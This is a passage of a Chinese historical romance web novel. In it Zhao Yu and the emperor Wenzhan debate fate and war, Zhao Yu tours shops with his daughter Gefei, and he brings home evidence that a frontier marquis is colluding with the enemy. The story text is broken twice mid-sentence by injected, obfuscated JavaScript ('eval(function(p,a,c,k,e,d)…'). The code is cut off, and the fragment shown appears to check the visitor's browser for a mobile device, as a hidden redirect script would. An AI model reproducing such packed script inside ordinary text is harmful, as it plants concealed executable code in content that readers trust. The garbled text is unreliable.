“你的额头都扭成疙瘩了。”赵毓轻轻的说,“别生气了。” 好像,总是听见承怡说,——别生气了。 文湛,“我没生气。” 赵毓,“世上没有傻人,陛下朝堂上戳着的都是人精,不用插尾巴都比猴儿精。他们这样说、这样做,不过是权力搏杀,说透了,人本性而已,也没啥。大郑文人当朝,读书人最清贵,如果以武勋建功立业就可以同他们平起平坐,那么,十年萤雪的苦熬中失去的姑娘、得的冻疮、吃的糠、咽的菜换不成高爵厚禄,精通不说人话的八股文章的那些大人们不就废了吗?四体不勤五谷不分,不要说上马提枪了,就连马匹都能错认成老虎,陛下让他们再认得西洋火器的厉害,这不是强人所难嘛?” 很久。 文湛低声问了一句,“承怡,建立一支只属于王朝的军队,朝廷养,令出雍京城,不用再倚赖那些藩镇,一喜西海春,一怒四海秋,禁止令行,四夷来王。我有生之年,能看得到吗?” “老爹也这样问过我。”赵毓,“当年我才十四岁,屁都不懂,直接回答他说,能,父皇千秋万岁之前一定能看到。” “你的意思是,我看不到了,……”皇帝刚轻叹完,就感觉到赵毓在他头发上扒拉扒拉,问,“承怡,你做什么?” 赵毓极认真的翻动着文湛的长发,“陛下,您的口气越来越像老爹,我得赶紧看看,您有没有长白头发。” “别闹。”皇帝抓住了赵毓的手指,“承怡,你觉得,北境的战事,天命在朕这一边吗?” 在赵毓面前,文湛极少用‘朕’这个自称,这让本来没有深思的赵毓也不禁愕然,“陛下,这次的感觉这么不好吗?” 文湛,“我想听听你的想法。” 赵毓沉默。 文湛,“我想听你口中的真话。”他的手指纠缠着赵毓的手指,无分彼此。“承怡,我只想听你说。” “陛下,什么是天命?” 良久,赵毓开口,慢慢问,“是‘先王有服,恪谨天命’中的天道主宰?还是‘从天而颂之,孰与制天命而用之’的天道法则?亦或是‘周德虽衰,天命未改,鼎之轻重,未可问也’中的君权神授?” 文湛,“俱是。” 赵毓,“可是,陛下,战争中没有天命。” 文湛亦是意外,“怎么这么说?” 赵毓,“我在西北这些年,听到的关于我的不靠谱的传闻特别多,有些人甚至说我的命格是七杀、贪狼、破军三方四正会照,所谓的‘杀破狼’局。如果当年我娘没有遇到我那个倒霉爹,她应该嫁在冉庄,那么,我亲爹不是磨豆腐的,就是打铁的,要不就是开个杂货铺的,我能做的营生也不外乎就是这些。难道可以说,我娘遇到我那个倒霉爹,他又被千刀万剐,我生在大正宫,再去西北征战就是天命吗?” “先帝在位的时候,曾想一劳永逸,永决倭寇在我东海、南海烧杀掳掠之患,命先靖海郡王东征日本。大郑水师舰队在博多登陆,几场大战,眼见这那些东瀛武士将要全部切腹,整个日本将亡国灭种,海上却起了飓风,大郑水师舰队全部沉入东海,郡王殉国。可以说飓风毁灭了大郑水师,倭寇在我东南沿海烧杀抢掠就是天命吗?” “不是的,陛下。” “战争没有任何天命可言,甚至没有天理正义,它就是一场可怕的赌博,老天爷随心所欲扔骰子,胜负都极其随意。世上没有必胜的战争,只有一场一场生与死,绝望与希冀,挣扎与再挣扎的煎熬,尸山血海中的煎熬。所以孙子才说上兵伐谋,不战而屈人之兵最好。” “不战,那么北境的局如何破?”文湛,“绥靖?” 绥边抚裔,嘉靖殷邦。 活人无法预料身后事,谁也不知道百年之后大郑北境是否被割据,是否又出现一个西北数百年的乱局。可是,绥靖至少可以保证眼前局势的安稳。 “不。”赵毓摇头,“当战则战。” “绥靖的确可以带来眼前的安宁,只是,这样的安宁像是腐尸身上涂抹的茉莉粉,表面看着香气四溢,内里不但腐烂、血污横流,就连那层香粉也是浮的。” “文湛,如果陛下不是你,有些话我死也不会说。” “即使是先帝,我也不会说。” “世上哪里有什么天命所归?” “大郑那些彪炳史册的帝王们哪个是众神庇佑,坐等老天将一切双手奉上?只是,再多的艰难险阻也抹不去你说过的那句话,——国土不可以分裂。” “因为,……” “子民在,疆土在,家国就在。” 此时,皇帝向外看,雕花窗外,有一缕阳光照射进来。 明亮的光芒像把锋利的剑将古老的大正宫刺穿,将蔓藤莲花的顶,传了十几代人的黄花梨的桌、椅与千工床,还有缂丝的帷幕,赵毓与皇帝身上的衣服,与铺在桌上不曾收拾的字帖,官窑的瓷器都镀上一层金色。 122. 122 122 他们在寝殿用早膳。 不过,说是早膳,其实快到晌午了。 赵毓坐在木桌前面,一小口一小口喝着豆汁儿,“对了。”他说,“一会儿我送格非去尹府,晚上就不回来了。” 文湛披着袍子下地,让人穿好了鞋子,一听,就是一愣,“怎么,出什么事了?” “今天是格非娘的七年忌,我丈母娘请了一位高僧念经。”赵毓见黄枞菖端了一盆子鸡汤挂面进来,伸手挪了挪桌面上的点心盘子,腾出一个地方,他才说,“我陪格非多住一夜。” 文湛脸上看不清楚表情,就是忽然没头没脑的问了一句,“我能去吗?” 赵毓愣怔,“你去作甚?” 可能因为过于吃惊,连他平日里装腔作势说的冉庄土话的口音都带出来了。 文湛,“给你那位先夫人上一炷香。” 赵毓,“呃,……” 文湛坐在圆桌旁摆放的木椅上,不咸不淡的开口,“民间不是有个习俗,继室入门要给原配上一炷香。” 赵毓,“……” 啪!黄枞菖手中那一盆子鸡汤挂面,直接卒瓦到地面上,热汤糊了他一脚面。他连忙跪地,不敢聒噪,也只敢轻念一句,“奴婢万死。” 赵毓拽他起来,“烫着没有?” 平日里那个站在微音殿与天承殿都快要带着凛然气质的秉笔大太监黄枞菖,此时委屈的像个鹌鹑,也不敢说话。 “赶紧下去看看,要是烫伤了就抹獾油。”赵毓让黄枞菖离开,又吩咐人过来收拾了地板上的碎瓷片和面条汤,再重新煮一份汤面,这才对文湛说,“你不能去我老丈人家。” 皇帝有些不依不饶,“为什么?” 赵毓,“你是紫微帝星,倘若轻易下凡,就会吓死活人。” 闻言,皇帝手指在桌面上敲了几下,不再说话,此时,柳从容进来,“主子,格非姑娘到了。” 赵毓连忙端起来大碗,把豆汁儿喝的底朝天,末了儿,说,“陛下,您忙,我先跑了。” 说完,他让柳从容捧过来衣袍,单手抓住,一溜烟儿的跑掉了。 谢家书院难得放了温书假,赵毓带着格非骑马,绕着雍京城好一阵子转悠,巡店。薛宣平最近盘了几家店面,赵毓想着赵格非难得出来,于是带着她登门转转,也见识见识生意场。 他们转了三家绸缎庄,还有一间胭脂水粉店,并着一家棺材铺。 “这木头不错呦。”赵毓一进去就看到了‘镇店之宝’,——百年桤木的寿材,带着恢弘的气势,一敲,还有兵器相撞的铿锵之声。棺材里面还描绘着‘寿终正寝升天图’,另外,应该放人头和人脚的地方画着繁华市井,天上人间俱圆满。 “老爷,少东。”小伙计连忙说,“这是随侯府订的寿材。” “随侯石家?”赵毓,“怎么,老侯爷归西了?” 小伙计连忙摆手,“老爷,可不能随便这么说话。”然后,他极小心的看了看周围,才说,“我知道老爷您也是手眼通天的人物,可咱们毕竟是买卖人,人家石家好歹是先帝下旨敕封的一等侯,名列大郑三十二侯府,等闲小民可招惹不得。” 赵毓连忙作势把自己嘴巴缝上。 小伙计才说,“石家的世子定的。” 赵毓,“那位世子说过,这是给谁定吗?” “没说。”小伙计答道,“世子身边的大管家亲自过来给的银子。他们只是说,寿材难得一见,遇到就定了。再说,留着它,也是个吉祥话儿不是?” 赵毓明白,一般有大野心的官宦家族不忌讳这个。棺材,官财,——升官发财! 一间小饭馆。店面不太大,就是干净,出奇的干净,卖的都是一些老百姓喜爱的东西,从炒疙瘩到砂锅吊子,卤煮小肠、炒肝、烧麦、褡裢火烧和炸酱面,卖相有些粗,不过价钱很实惠。 一个婆子异常安静的领着他们到了饭馆后面的瓦房。窗明几净,不用八仙桌,屋子正当中是火炕,炕上有小桌。 赵格非坐下,缓口气才问,“亲爹,出了什么事?” 赵毓正在绞尽脑汁想着吃什么,听他闺女这么问,就是一愣,“没事儿啊。怎么这么问?” “今早,我远远看了六叔一眼,感觉他脸色不太好看。方才您又带着我去了一趟棺材铺,总觉得今天有些古怪。” “把心放回肚子里,没事儿。” 赵毓一想到今天到明天都要在尹家吃斋念佛,一天一夜没油水,他支撑的住,他闺女正在长身体,太素不好,于是就点了一锅卤煮,外加两大碗炸酱面。 婆子听着,“是,记下了。” 赵毓指着火炕说,“闺女,以后吃饭到这里来。” 赵格非,“这也是您的买卖?” “不。”赵毓摇头,摆手,“这是你黄瓜叔的买卖,到这里吃饭,咱爷两儿都不用给饭钱。” 赵格非,“……” 婆子忽然问,“赵老爷,紫苏鲈鱼,韭菜腰花,双椒爆海参,还有木耳山药和十全大补汤,再来一份吗?” 赵毓,“……” 尹绮罗是女大夫,而且是六品女医官。赵格非从小跟着她亲娘粗粗学了一些药理,听到婆子这么问,她也是有些疑惑,“紫苏鲈鱼这些是补虚症的吃食,寻常人到不说吃不得,只是吃了之后有虚火。如今已是春夏之交,再进食如此大补之物,不太合适。” 赵毓咳嗽两声,说,“婆子,再泡一壶杭菊。” “啊?”婆子奇怪,“赵老爷,您一向喝茉莉,怎么换了菊花呢?” 赵毓说,“菊花不是给我,是给你喝的。” “啊?!”婆子更奇怪,“我一乡下婆子,白水喝惯了,喝什么菊花?” “菊花能明目!”说完,赵毓连忙把这个不太长眼的婆子哄骗走,“婆子,快去,一刻钟之内能准备好吃食,我给赏钱!” “亲爹。” “咋啦?” “我知道您对待吃食上不太在意,可是,……”赵格非想了想,终于还是说,“您已经不是青春少艾了,也应该惜福养生了。紫苏鲈鱼这样的大补之物,真的不能乱吃。” 赵毓,“……” 半晌,他叹气,“闺女,咋爷俩儿能不能不说紫苏鲈鱼的事儿了?” 他们吃饱,也喝足了菊花,赵毓带着赵格非到这附近一家文房四宝店,就坐在店面里屏风后面。正晌午,没啥客人。 赵毓,“这才是你爹我的买卖。老薛新盘的店,我也是第一次来。” “老爷,我叫笔架。”一个伙计过来,端着一个木盘,里面摆着两个瓷盏,“这是给您准备的茉莉金环,还有为少东准备的玫瑰酸梅汤。” 赵毓端着茶盏,站起来,随便看着。 笔架说,“冯掌柜的出门点货了,还要见个客人,大约得一个时辰才回来。您和少东先坐,等掌柜回来马上过来问安。” 赵毓摆手,“不用。冯掌柜做正事,我是闲人,他不用应酬我。” 笔架问他,“老爷,给您那账簿吗?” “不用。”赵毓说,“我带少东过来认认门,不查账。以后元承行的买卖都由账房年中年底盘查,我和少东都不随便插手。笔架,你也忙正事,别在我们面前杵着了。” 此时,屏风外面似乎有客人到。 笔架连忙答,“是。” 赵格非尝了口玫瑰酸梅汤,只觉得特别香甜,于是慢慢将汤水都喝尽了。刚放下茶盏,她却看到手边的桌面上放着几本书,随手拿过来一翻,是一本字帖。书皮上三个字‘馆阁体’,写的是黑大光圆,用的墨极浓烈,不黏不滞,展现流丽之美。这种字体是用作殿试卷子的,写不出馆阁体,金榜题名就是虚梦。出字帖的人名字写在书皮右下角,却是一句唐诗,——碧城十二曲阑干。 “这里怎么有这个?”赵毓过来拿过书,翻了翻,随即乐了,“他当年写的还挺认真的啊,……” “亲爹,您知道这是谁写的?” 赵毓合上书,把书皮上的名字给赵格非看,“碧城,就是崔碧城。” 赵格非,“呃?” 赵毓,“宁淮侯崔珩原先的名字,崔碧城。” “表叔?” “是他。” 赵毓说,“宁淮侯做事情一向如同老猎手,从来有的放矢,也从来贼不走空。他在毓正宫头悬梁、锥刺股为的就是一甲进士的出身,可惜。当年他睡过头儿,误了殿试,被先帝革除功名,一手好字无了用武之地,居然自己写出一本字帖,放在文房四宝店卖。而且,一卖,就是这么多年。” 他又翻了翻书本,说,“读书人的字就是脸面,老崔也是。宁淮侯原先练就的这一手好字,柳骨颜肉,富丽堂皇,正体,正经‘馆阁体’,漂亮,真漂亮。” 赵格非,“既然崔侯如此重视功名,为什么会睡过头,误了殿试?” 赵毓合上字帖,眼皮微微挑了一下,像是一股子怅然若失静静流淌。睡过头儿?赵毓知道,崔珩那天就没睡!他睁着眼睛,从子夜到黎明,到天光大亮,到晌午,到黄昏,再到夕阳沉下,满天星河。崔珩,他是眼睁睁的看着日晷上铁针影子流动;也眼睁睁的看着自己缺席大正宫举行这个王朝中的读书人心中最神圣的开科取士;更是眼睁睁的看着自己失去了一切。 赵毓,“人这一辈子,有很多事情,明明不想做,可是必须做。这不是最可怕的事,因为更可怕的是,很多时候,人必须违背、摒弃甚至破碎自己之前所拥有、所珍惜的一切。” 有些话,不能说出口,对着赵格非,尤其不可以说。 虽然没有人明着对他说过,可是赵毓知道,崔珩想要得到先帝的信任,必须自断后路,必须舍弃读书人清贵的出身,必须将此一生的生死、荣辱、得失尽数系在陛下身上,斩断其它所有退路。当年,还是东宫太子的文湛就曾经招安过崔珩,也明明白白的说过,“凡不能为我所用者,亦不能为他人所用。” 这是先帝与今上的用人之道,也是‘帝王术’。如果崔珩科举出仕,那么老崔的权力根基就是‘科甲正途’,他就不是皇帝的私人,如楚蔷生一般。楚阁老是文湛的宰辅,是朝廷的重臣,却不是帝王的私人,有些事情可以说,可以做,但是更多的事情,不能说,也不能做。 赵毓,“天道有常,不为尧存,不为桀亡。人行好事未必有好结果,恶人未必有恶报。而在这混乱的世间秉承不灭信念的人,才是真豪杰。” 赵格非不太理解,因为她对于那位宁淮侯的印象不是很好,“亲爹,我一直以为,你对于崔侯是那种无可奈何的情绪。因为,他毕竟是祖母唯一的侄儿,就算再出格,他和您也是血亲。” 赵毓忽然笑了,“不说外人,只说咱家人。长辈那一代人,我最崇尚的是先帝,其次就是你外祖父。我们这一辈人,我最崇尚的是你六叔,其次就是崔珩。闺女,等你长大一些,我慢慢和你说,你表叔的那双手,就算摸了这么多年妖魔鬼怪的屁股,握笔,依旧是铁骨铮铮。” 外面有人进来。 赵毓以为是不相干的客人,没在意,低头喝茶。此时,一股冰冷却穷奢极侈的香气却随着那人的脚步声徐徐绕了上来。 赵格非从椅子上站起来,规规矩矩施礼,对来人道,“七叔。” “小七?”赵毓也连忙起来,“你怎么过来了?” 越筝道,“兄长的帖子送到我手中,召我觐见,我自然不敢怠慢。” “小七淘气。”赵毓,“我只说想见见你一起喝个茶,怎么就召你觐见了?” “兄长的帖子,比圣旨还管用。”越筝,“如果兄长不想这个时候见我,那么,您原本准备什么时候召我喝茶?” 赵毓,“我们一会儿去北城。如果你不来,我估计还要在你府上蹭饭呢。” “想必是兄长先送格非回尹家,因为人到了北城,所以顺道到我那里坐坐。”越筝说话,看了看四周,“这家店面原先是齐家二儿媳妇的陪嫁,他们家果然败了,连儿媳妇的陪送都出了手。不过,我听说这里经营的不错,今天一看,也的确不错,着实当真是一家文房四宝店。” “不是文房四宝店,还能是啥?” 赵毓让笔架又端了一碗玫瑰酸梅汤,让越筝坐,“我们元承行有用一些西北的石脂水烧的烟做的墨块,原料都是一些兵部做火器的下脚料。这些墨块比不上徽墨的名气和雅致,胜在便宜。原本放在别人家的店铺中散卖,后来我想想,还是应该自己盘个店,好做生意。” 此时,赵毓让伙计拿了几盒子墨块过来,“格非读书写字用的就是这种,她说还不错,颜色浓重,不凝滞,要是你不嫌弃的话,拿几盒回去?” 越筝看了看墨,又看了看赵毓,终于,笑了,“既然是怡哥哥的心意,我收下。” “我给你拎着。”赵毓自己动手把墨块放回盒子当中,又让伙计拿了一大张桑皮纸,在外面裹了裹,使纸线系住,才说,“格非,把水喝完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他问,“姑爷,您家这位兄弟要进来喝口茶,清凉清凉吗?” “不,我得回趟元承行。你去回老爷,就说我晚些到。”赵毓说完上马,“老爷都明白。” 元承行。 廊檐花厅。 薛宣平第一次见赵毓领客人进来,还颇为殷勤。当然,赵毓领着他自己那个小白脸来过很多趟,那个小白脸有很多东西都不放在明面上,显得神神秘秘的。薛宣平一向不喜欢同诡谲神秘的人打交道,不过,在他心中,早已将文湛当成‘自己人’,所以对于他不告诉自己名字,也不是很在意。 因为那是老赵的姘头! 虽然赵毓那个不知道姓名的姘头是个老爷们儿,不会生儿子,不过薛宣平自恃见过世面,他觉得姘头是男是女不重要,重要的是老赵睡的下去就成。床榻上折腾,把老赵伺候舒坦了最要紧,其它什么都是虚的。 如今这位嘛,……奇诡,当真奇诡。来人不是去年在这里兑现银的大户吗? 要说去年的雍京城银价风波当真惊天动地,惊心动魄! 那一场风浪将许多钱庄银楼票号逼上绝路;永嘉周熙如今依旧生死未卜,江南十三行自摘招牌,抛弃了几代人的基业,从雍京撤走退回老窝;西北道易主,赵毓的元承行横空出世。 呃,这么看来,这位大户也算是朋友了。 不过,…… 去年这位大户来西北道兑银的时候下着大雨,当时萧老大当家,薛宣平还没有资格凑到老大身边仔细看来人,如今这离得近了,他心中打了个突,——这个大户看着居然有有几分像老赵的姘头! “六哥的字写的当真好。”花厅中,越筝抬头,仰看着四面八角楼,还有上面那块匾额。今上御笔,恢弘而沉静,——元承行。他,“怡哥哥的名字起的也好。” 此时,薛宣平亲自奉茶。 赵毓接过三才碗给越筝递过去,里面是三炮台,“尝尝,很甜。” 越筝端过来,手指拿着碗盖,撇了撇茶叶的沫子,轻飘飘问了一句,“这个贼眉鼠眼的胖子是谁?” 薛宣平,“……” 赵毓,“我元承行大掌柜,薛宣平。” 越筝,“哦。” 赵毓,“想认识吗?” “算了。”越筝呷了一口茶,“看着肥腻。” 薛宣平,“……” 赵毓无奈冲着他摆了摆手,让他上茶之后可以退隐了,深藏功与名。 薛宣平一边跑开,一边咬着手中的茶碗木托盘,并且在心中狂骂,——小白脸子,没好心眼子! 四周无人。 越筝放下茶碗,“兄长想让我做什么?” 赵毓嘴中还有茶水,有些烫,咽不下去,也说不出话来。 越筝笑,“您又送我墨块,又请我喝茶,真让人受宠若惊,只是我有自知之明,我不是六哥,在您这,可没这个脸面。” 噗!赵毓咽不下去茶水,就吐了,他咳嗽了几声,用袖子擦了擦嘴。他不开口,越筝也不说话。日头逐渐向西走了,天却阴了上来,隐约带着潮气,还有雨水的味道,果然,一炷香不到,雨点就打了下来,浇到花厅的瓦片上,如同扯断了丝线的黄花梨手串,珠子分裂砸到地面青砖之上。廊檐外的蔷薇刚刚绽放,蕊娇花嫩,与雨水交锋,丝毫不弱,竟然呈现出傲风凌雨的根骨。 半晌,赵毓开口道,“崔珩的事,也是我的事。” 越筝,“我知道。崔侯爷以一个散货商人的身份左右钻营,搭上了南海雷琼水师提督海鸣臣的幕府。那些人自持目光如炬,其实都是睁眼瞎,连崔珩的底细都摸不清楚,他们还以为自己是折节下交。” 赵毓,“当年我在南海沉了几十门火铳,我想让老崔人不知鬼不觉捞出水,然后运到北边来。” 越筝,“火铳?这倒是第一次听说。” 赵毓,“越筝,右春坊在你手中。” 詹士府右春坊。原本应该隶属东宫,名义上负责太子读书习武,实际上却是储君的‘缇骑’,专管刺探各种消息。这些消息的来源很庞杂,有庙堂,有江湖,还有民间引车卖浆的三教九流。太子灵均年少,他自己的势力如同雏鸟铸窝,依旧很薄弱。因而,右春坊的实权在‘王叔’越筝手中。 “明人面前不说暗话。”越筝点头,“是的,右春坊在我手中。” 赵毓,“崔珩不日出京,帮我抹掉他去南海的一切消息。” “好。”越筝,“只是,堂堂宁淮侯不奉明诏离京,理由呢?” 赵毓,“随便找一个就好。” 越筝似乎极认真的搜刮肚肠。他不说话,低头看着手中的茶水,水面上飘着一颗枣,而几片茶叶旁边,飘着另外一颗枣。 赵毓则说,“只要能瞒住他去南海捞火铳,就算说他回冉庄坐月子都成。” 123. 123 123 赵毓到尹府的时候,夜深月升,大和尚已经开始念经。 尹府的小厮伺候他洗手洗脸,也净了口,还换上一身干净的棉丝长袍,他到院子中,找个角落坐了。 院子很静谧。 几盏青灯,燃不亮夜幕。 赵格非跟在尹夫人身旁,跪坐在蒲团上。 她的旁边是一个小沙弥,手边放着一个紫铜钵盂,一段经书念完,就用铜锤敲打一下。叮,声音纤细而悠长。 绮罗,与他是夫妻,更是知己。 这是一位极有气度的女子。她生为“藩镇女”,有显赫的血统,更有沉重的枷锁。 大郑礼教森森,宗法严明,女子生而有罪。 不说那些在尘世中翻滚挣扎的苦命人,即使是世族女子,看似繁花似锦,要风得风,要雨得雨,却一生注定以家族利益为重。世家大族是华美的牢笼,困在其中,就算幸运中的幸运,联姻觅得佳婿,平顺的一生似乎除却相夫教子、侍奉公婆之外,再无用武之地。 可绮罗却硬是凭借自己那颗慈悲的本心,在兵荒马乱的西疆追随父亲尹名扬,建功立业,悬壶济世。 可惜,天不假年。 忽然之间,赵毓感到眼角有些湿。这些年实在太艰难,他却很久没有真正大哭一场。赵毓也有些纳闷。明明小的时候是个小哭包,动不动为一点小事儿就闹的呼天抢地,鬼哭狼嚎,如今真正经历风刀霜剑之后,人却成了木块石头,真到了伤心之处,有泪也不轻弹,其实也是弹不出来了。 赵毓察觉手中被递送了一方丝帕。 浓重的香气,玫瑰香麝。 他用丝帕擦了擦眼角,就着明灭的烛火,看到身边的人。 极诧异,赵毓几乎要叫了出来,却硬生生压住了声音,用虫子振翅一般的声音嘶嘶的问,“文湛,你怎么来了?” “放心,我不会去你那位先夫人跟前上香的。”文湛淡漠的回答,“给你送一块手帕,完了,我就回宫。” “专门送一趟手帕?”赵毓更惊诧了,“陛下,您可真闲。” 文湛,“不写情词不写诗,一方素帕寄心知。” 赵毓,“……” 皇帝的声音不似念情诗,却如同念圣经贤传,居然有些淡淡的金声玉振之感。 好半晌,赵毓才找回自己的舌头,说,“陛下,真应该让黄枞菖好好清理一下您的书案,您案头那么多军国大事,怎么还有空地儿放着这些民间话本。什么乱七八糟的歪诗,都让您看了去。” 文湛念完“心知拿了颠倒看,横也丝来竖也丝”就在赵毓嘴唇上轻轻亲了一口,却带着贪婪,然而,又极克制。须臾之间,文湛割断自己渴望,就着夜色的遮掩离开了。 来无影,去无踪。 如果不是手中这一方手帕,赵毓以为自己做了一个梦。 只是香气不去。 萦绕着,如同蔓藤。 夜里,尹名扬撑不住,到后面休息。 赵毓送他过去,尹徵也跟在身后。明堂中,尹名扬没有坐主位,而是坐在靠着窗子的一把太师椅上,赵毓坐他对面,尹徵站着。下人奉了茶,尹徵亲自端着给尹名扬,“爹,姐夫,你们说话,我去前面看看我娘。” “尹徵。”尹名扬拿过茶碗,“你留下。” 赵毓喝着茶,忽然停嘴,一抬眼睛,看了看尹徵,用眼神示意他在一旁安静坐着就好,随手,将茶碗放在手边的桌面上。 尹徵坐好。 尹名扬让人把明堂的门关上。 静。 令人不安的静。 好半晌,尹名扬对尹徵说,“书柜那边有个暗格,按下第三根铁木,里面有个黑檀木盒子,你拿过来。” 尹徵有些疑惑,不过还是按着他爹说的做了。不一会儿,他捧着一个黑色檀木盒。 尹名扬让他放在赵毓手边,对他说,“你打开它。” 赵毓打开木盖,里面是一个手串。海南黄花梨做的,手串上用黑色丝线缠了金丝打成络子,缀着一块羊脂玉雕刻的玉牌。 上面大篆雕刻着——“承怡”。 这是祈王府的旧物,也是祈王承怡曾经的贴身之物。 赵毓从木盒中拿出来那手串,似乎它的主人从不离手,已经被磨出玻璃底,木串如同琉璃一般通透。 它冰冷冰冷的,却带着一股奇异的香。这种香气来自遥远的异域,像是沙漠中升腾起来的幻境,覆盖了战场,那里埋葬着无数血肉。似乎,剥落掉那层丰饶华美的外皮,无边的枯骨就会裸|露出来。 这种香极昂贵。 它有一个大不吉利的名字,——修罗。 赵毓,“爹,这是哪儿来的?” 尹名扬,“穆慎之。” 赵毓,“不认识。” 尹名扬,“旧人,很多年前,我的一位同窗。” “先帝凤化二十三年,我中了进士,穆慎之没中。那几年他们家也是一言难尽,父母相继离世,妻子难产也走了,他孑然一身,断了入仕途的想法。之后一些年,他一直辗转为陕甘的一些官员做师爷,混口饭吃。我入兵部之后,他与我逐渐断了书信来往,想来,他不想落个攀附的名声。” “你到西北去之前的那一年,他去北境,入随侯石寰幕府。” 赵毓心中一咯噔,说,“随侯?” 这个手串是当年殷忘川进王府,第一夜侍寝,赵毓亲手送出去的“定情信物”。如今,殷忘川破大郑北境,兵压大鲜卑山,与赵毓已成敌国,而这个手串却由本来应该镇守北境的“藩镇”之一随侯石寰的人送入雍京城,其中的干系实在太重大了。 这是随侯石寰谋反的证据。 即使不能成为呈堂刑部的铁证,也足以令石家万劫不复。 更可怕的是,北境的军情。 “藩镇”与外敌勾结,局势不堪设想! 此时,尹名扬让尹徵拆开一封书信递给赵毓,说,“这是穆慎之写给我的信。” 赵毓打开信笺,发现上面极省笔墨。 客套话一概全无,只有几个字,硕大无比,占领整张宣纸,——两面下注,可保一世平安。 穆慎之劝谏重臣“骑墙”的大逆不道的书信已经送进雍京城。 书信必定不止一份。 北境的白银能敲开的府门必定不止一家。 赵毓没想到北境的祸事如此快的蔓延进雍京城,他心知这是泼天的祸事,也是军国大事,不能耽搁。他让人拿了一块包袱皮,把手串和书信包裹好,夹在胳肢窝下,交待尹徵照顾好丈母娘和赵格非。 临出门,尹名扬叫住他,“你上次说过让桂宝儿去雍南学院读书的事,……” 赵毓非常自觉,“爹,如果您觉得不合适,我另外再找地方。谢氏书院不收黄瓜收养的那个丫头,对于桂宝儿的出身他们却挑剔不出什么来。等明儿,我让人把书本都准备好,再找几位夫子给桂宝儿补补课,应该能成。” 尹名扬却说,“这也不忙,先放放。” 赵毓知道,尹名扬现在想要把尹徵彻底摘出来,不沾赵毓的事,这也是为了家族做长久打算。 他明白,也理解,于是说,“爹拿主意,我听您的。” 说完也不敢再耽搁,连夜回宫。 只是,人还没进殿门,一把汝窑莲花梅瓶直接卒瓦在他脚下。 “混账!” 寝殿中,皇帝盛怒。 所有人跪了一片,死一般的静。 文湛不是性子温平之人。可他十六岁摄政,十九岁登基,驭极十四载,时时刻刻都在进行着“喜怒不形于色”的修炼,功夫早已炉火纯青。在朝堂上,在内阁中,面对子民,他就是一尊玉雕石雕,不哭,不笑,面无表情,甚至都不喘气儿。 长大后,赵毓就没见过文湛发这么大的火。 “这是怎么了?”赵毓说着,拎着包袱皮,一步一步蹭了进去。 文湛听到是他的声音,“你怎么回来了?” “有事。”赵毓,“这大半夜,谁敢把你气成这样?” “还能有谁?”文湛神态颇为古怪的看着赵毓,“你的心尖子。” 赵毓,“陛下这话说的不对。我的心尖子不就是陛下您嘛。怎么,您这半夜不睡觉,自己气自己玩儿?” 文湛长长出了一口气,知道自己有些迁怒,口气终于缓了过来,“高昌王送了一份国书进雍京。” 赵毓,“投降,还是要割地?” 文湛,“你说呢?” 赵毓,“割地?” 文湛,“他要建国。” 赵毓,“哦。” 文湛,“哼!” 赵毓,“殷忘川本来就是前代高昌王的亲儿子,虽然他挺看不上他那个亲爹的,他总觉得自己和他母亲一样是大郑汉人,连名字都用了他娘的姓,取了个汉人的名字,可是他那双蓝眼睛又实在太扎眼,一看就知道是高昌王族,所以啊,建国也好,复国也罢,都是娘胎中带出来的毛病,这有啥可生气的?我小的时候还做梦能列土封王呢!白日梦是好东西,每天想想,没准哪一天活见了鬼呢!” 文湛把一封国书直接拍在赵毓面前,“你自己看!” 赵毓一看,叹了口气。这封国书不是用高昌那种曲里拐弯的长的活像蚯蚓一般的文字写就,使用的却是大郑汉字。词句非常古雅,极准确,也极漂亮,严谨工整,甚至引经据典,之乎者也,子曰诗云,让人看了,只以为是内阁哪位翰林学士的手笔,丝毫不觉得出自异族人之手。 文湛,“我大郑文言是华夏九鼎之器!岂容番邦蛮夷染指亵渎?” 赵毓,“小殷读书识字是我教的,可是,……,我也没想到他能学会,而且学的比我还好,还快!他用汉字写国书,其实也不一定是存心向你挑衅。没准,他根本不会写高昌文。他自小在咱们这里生活,你又不是不知道。文湛,别生气了。如果小殷当真是高昌文的文盲,你说说,你跟他较这个劲,算什么回事儿啊!” 三百年前,一个波斯贩卖果壳香料的商人用汉字写了工整的文章上书宪宗皇帝,请求开通丝路之外,另外开通松江,宁波,厦门,福州,广州等五个通商口岸。 那位祖宗被吓坏了。 开不开通商口岸另说,一个蛮夷居然会用汉字写文章,闻所未闻,有窥伺华夏神器之野心!他圣旨一下,不但杀了波斯商人,还诛杀了那个波斯人无辜的汉文老师(一个不得志的老秀才)九族。 诗书文字,在大郑帝王心中象征着权力。 无上的权力! 历朝历代,九州四海,只有读书人才能进入帝国权力核心。所以,大郑文言才被身为皇帝的文湛说成是“九鼎之器”。 赵毓一直看着文湛的脸色,试探着问,“陛下,您不会为了我教小殷认字这件事,就如同宪庙那位祖宗一般,下圣旨杀我吧。” 文湛怒,“胡说八道什么?” 赵毓,“那我就放心了。陛下,您先看看这个。” 说着,他把布包袱拿了过来,打开,一个盒子,一封信。 盒子中是黄花梨手串。 文湛拿起来,反复看了看,“你王府旧物?” 赵毓点头,“嗯。” 文湛轻轻转着这个手串,冰冷滑腻的触感,像紧紧贴着一条毒蛇,“你,……,卖给谁了?” 赵毓,“没卖。” 文湛,“送给谁了?” 赵毓,“你不生气,我就告诉你。” 文湛一反手,把手串砸到赵毓身上,“不想听!” 赵毓赶紧把手串捧了,“穆慎之找人把这个手串送进雍京城,他可是随侯幕府的先生,居然和小殷过从甚密,我怕北境那些‘藩镇’吃里扒外!文湛,这手串是我送给小殷的,十几年的老黄历了,……” “出去!” 皇帝手一指殿外! 广袖跟着唿扇唿扇的,缂丝上的花纹也跟着飘荡,就像那些祥云白鹤活了似的,翩翩翻飞。 小半个时辰之后,黄枞菖端着一碗茶到殿外,发现赵毓窝在大柱子脚下,像个破土而出的蘑菇。他是想乐,又不敢,好不容易憋住,过去,问,“祖宗,您在这里看蚂蚁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 